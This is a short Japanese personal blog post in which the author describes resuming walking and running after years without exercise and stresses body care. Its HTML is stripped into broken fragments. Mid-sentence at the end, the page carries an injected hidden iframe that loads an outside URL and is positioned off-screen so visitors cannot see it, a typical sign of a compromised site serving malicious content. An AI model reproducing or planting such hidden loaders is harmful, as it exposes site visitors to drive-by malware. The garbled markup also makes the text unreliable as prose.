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適度に

pこんにちは。/ppnbsp;/ppnbsp;/ppnbsp;/pp高田です。/ppnbsp;/ppnbsp;/ppnbsp;/ppちょこっと歩いたり走ったりしておりますが、やはり長年の運動不足は辛いですね。。/ppnbsp;/ppnbsp;/ppnbsp;/pp動くたびにしんどくなります。/ppnbsp;/ppnbsp;/ppnbsp;/ppですが、しっかりケアをして無理なくできればどうにかなるもんです。/ppnbsp;/ppnbsp;/ppnbsp;/ppケアはだいじだなー。。。/ppnbsp;/ppnbsp;/ppnbsp;/ppランナーも増えてきておりますので、しっかり痛み、!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe

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